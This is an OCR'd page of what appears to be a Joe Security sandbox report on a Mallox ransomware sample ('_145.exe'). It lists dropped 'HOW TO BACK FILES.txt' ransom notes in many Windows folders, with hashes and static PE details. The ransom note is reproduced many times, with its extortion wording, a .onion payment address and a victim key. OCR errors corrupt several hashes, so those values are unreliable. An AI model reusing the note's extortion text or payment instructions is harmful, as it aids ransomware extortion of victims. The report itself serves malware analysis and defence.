SHA-512:

Malicious:
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24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Copyright Joe Security LLC 2023 Page 45 of 379



Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Vault\AC658CB4-9126-49BD-B877-31EEDAB3F204\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped
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4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7BI990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Vault\HOW TO BACK FILES.txt

Process:
File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped
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4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\WDF\HOW TO BACK FILES.txt

Process:
File Type:
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Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
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SHA-256:
SHA-512:
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24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\WinMSIPC\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe
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24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7BI990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDCI3CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\WinMSIPC\Server\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\HOW TO BACK FILES.txt
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Temp\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows Security Health\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows Security Health\Logs\HOW TO BACK FILES.txt
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility\HOW TO BACK FILES.txt
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEISYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\HOW TO BACK FILES.txt
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Autolt v3\Extras\AutoltX\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Autolt v3\Extras\HOW TO BACK FILES.txt
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Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Autolt v3\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED 1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7BI990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDCO3CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false
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Preview:

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7BI990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDCI3CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\HOW TO BACK FILES.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Users\user\Desktop\_145.exe
data

dropped

1410

4.76384410394738

Encrypted: false
SSDEEP: 24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEISYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
MD5: 7322334E0D24A4434F1B5D63CF177D95
SHA1: D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
SHA-256: 229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512: B3DB25F41950DC98BDCI3CEBAF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3
Malicious: false
Preview: Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei
Static File Info
General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 6.556269932810154
TriD: « Win32 Executable (generic) a (10002005/4) 99.96%
« Generic Win/DOS Executable (2004/3) 0.02%
« DOS Executable Generic (2002/1) 0.02%
« Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name: _145.exe
File size: 197'120 bytes
MD5: b54d7da0fe6869006ffd3b9b470f0dc4
SHA1: 5d0b9521cca0c911d49162e7f416a1463fbaefae
SHA256: df29d5c4a750663440ce76d6804ce88e03faeef9591ecOb3b9cal348a6¢930b7f
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SHA512: fa50a574ca3495d844fa1a0471e97dc32a4e64e8d20bcef6efea5c6bd4fd3b91f6026f7b3da747f69e354chb157e197557c7cdb8d30d0f81cd6458ec8b63e87a

SSDEEP: 6144:MQiXrxXhB2sYm28QY4BCRSjX0PGj3IPE:MXX5H52zCR7PGr

TLSH: 4D149D607AC085F 1E4AB093856F46F795CEFBE200B61A5DB13504F795E326E29830FA7
File Content MZ..oooiiiennd @ .o I.L.IThis program cannot be run in DOS
Preview: mode....$.......F...f.D.f.D.fD...EfD...Ef£DP.Ef.DP..EfDP.Ef.D..Ef.D..Ef.D..EfD.f.D.f.D...E&f.D...D.f.D...E.f.DRich.f.D.......
File Icon

Icon Hash: 00928e8e8686b000

Static PE Info

General

Entrypoint: 0x412d1d

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

